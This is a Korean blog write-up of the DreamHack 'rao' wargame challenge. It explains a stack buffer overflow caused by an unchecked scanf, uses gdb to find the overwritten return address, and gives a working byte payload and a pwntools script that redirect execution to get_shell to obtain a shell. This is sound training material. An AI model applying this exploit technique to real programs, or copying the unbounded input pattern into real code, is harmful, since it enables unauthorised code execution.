rsp-∞

[DreamHack] Return Address Overwrite 쉘 획득하기 본문

Write-ups/system

[DreamHack] Return Address Overwrite 쉘 획득하기

portrait.kim 2024. 3. 30. 10:32
#include <stdio.h>

#include <unistd.h>



void init() {

	setvbuf(stdin, 0, 2, 0);

	setvbuf(stdout, 0, 2, 0);

}



void get_shell() {

	char *cmd = "/bin/sh";

	char *args[] = {cmd, NULL};

	

	execve(cmd, args, NULL);

}



int main() {

	char buf[0x28];

	

	init();

	

	printf("Input: ");

	scanf("%s", buf);

	

	return 0;

}

 

rao.c 코드를 먼저 보자. buf의 크기가 0x28로 설정되어 있고, main 함수의 하단에 scanf를 사용하여 buf의 값을 입력받는다. rao.c의 취약점은 이 scanf 함수이다. 입력받는 값의 길이를 체크하지 않는 함수이기 때문에 스택 버퍼 오버플로우가 발생할 수 있다.

 

$ ./rao
Input: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault (core dumped)

 

취약점이 작동하도록 트리거해 보았다. buf가 감당할 수 없이 큰 크기의 입력값을 넣어 보는 것. segmentation fault는 buf라는 변수에 할당된 크기를 벗어나 다른 메모리 주소에까지 접근했다는 뜻, core dumped는 코어 파일을 생성했다는 뜻이다. 코어 파일이란 프로그램이 비정상적으로 종료되었을 때 운영 체제가 사용자로 하여금 디버깅을 돕기 위해 생성하는 파일이다. 코어 파일을 디버깅해 보자.

 

$ ls /var/lib/apport/coredump
'core._home_chaehyeonkim_Documents_08861c22-4c49-4a28-988f-297575aa6837 (1)_rao.1000.6f6f5a4e-3626-4921-968e-e69cbc9af9de.4172.154212'
$ gdb rao -c /var/lib/apport/coredump/'core._home_chaehyeonkim_Documents_08861c22-4c49-4a28-988f-297575aa6837 (1)_rao.1000.6f6f5a4e-3626-4921-968e-e69cbc9af9de.4172.154212'

 

마지막 줄 gdb 명령어를 입력하면 context가 자동으로 출력된다.

 

► 0x400729    ret    <0x6161616161616161>

 

DISASM 영역에서 return address(ret)을 확인한다. ret 함수는 암묵적으로 pop rip 명령을 수행하도록 되어 있다. 그러면 ret이 pop할 rip 값이 어떤 함수의 값인지를 확인해 주면 되는데, pop이 나왔으니까 STACK 영역을 확인해 보자.

 

0:0000│ rsp 0x7ffd0b1d6408 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
... ↓        7 skipped

 

오버플로우를 발생시키기 위해 입력한 값이 ret을 덮어쓴 것을 확인할 수 있다. 내가 함수로 하여금 반환할 함수 값을 임의로 지정하게 된 것. 이러한 방식으로 return address의 값을 유효한 주소로 덮어쓰면 rao.c 코드에서 확인할 수 있었던 get_shell을 통해 쉘을 획득할 수 있게 될 것이다.(main 함수를 디스어셈블하려다가 cannot access memory at address 오류가 떠서 스킵했다. +0 주소의 명령어까지만 출력되더니 그 다음부터 출력이 안 되는데, 정상적으로 잘 작동했던 풀이 과정이 갑자기 라이트업 쓰려니까 오류가 나서 조금 억울....)

 

어쨌든 바로 홈으로 돌아와 rao을 gdb로 실행시키고, get_shell 함수의 주소를 출력받아 본다.

 

$ gdb -q rao
pwndbg> print get_shell
$1 = {<text variable, no debug info>} 0x4011dd <get_shell>

 

0x4011dd가 get_shell의 주소이다. 나중에 main을 디스어셈블한 코드가 제대로 출력이 된다면 다시 수정해서 사진을 넣어야겠지만, main 함수를 지정했을 때 스택 프레임을 생성하고, 반환값을 저장할 주소를 지정하고, 스택 프레임을 해제하면서 함수를 반환하는 세 가지 구역으로 크게 나눌 수 있다. 차례대로 buf, SFP, return address인데, 코드를 살펴보면 buf의 크기는 0x30, SFP는 0x8인 것을 알 수 있다. 우리가 입력하는 값이 buf에 들어가기 때문에, 0x38 이상의 입력값이 들어가면 SFP 하단에 있는 return address에까지 접근할 수 있을 것 같다. 임의로 0x38 크기의 값을 집어넣은 뒤 return address에 접근하기 시작한 지점에서 우리가 알아 낸 get_shell의 주소를 넣어 보자.

 

$ (python3 -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xdd\x11\x40\x00\x00\x00\x00\x00')";cat)| ./rao
Input: success
whoami
chaehyeonkim

 

주의할 점은 get_shell의 주소를 리틀 엔디언 방식으로 입력해 주는 것이다. 쉘 권한을 획득한 것을 알 수 있다.

 

from pwn import *          

p = process('./rao')       

elf = ELF('./rao')
get_shell = elf.symbols['get_shell']       

payload = b'A'*0x30        
payload += b'B'*0x8        
payload += p64(get_shell)  

p.sendline(payload)        

p.interactive()

 

파이썬으로 익스플로잇 코드를 작성하면 위와 같다. 0x30의 크기만큼 버퍼를 채우고, 0x8만큼 SFP를 채워 주면 그 뒤에 payload에 저장되는 get_shell의 주소가 ret에 담기게 된다.

'Write-ups > system' 카테고리의 다른 글

[DreamHack] basic_exploitation_000  (0) 2024.03.30
[DreamHack] basic_exploitation_001  (0) 2024.03.30
[Bomb Lab] Phase_3  (0) 2024.03.23
[Bomb Lab] Phase_2  (0) 2024.03.23
[Bomb Lab] Phase_1  (0) 2024.03.23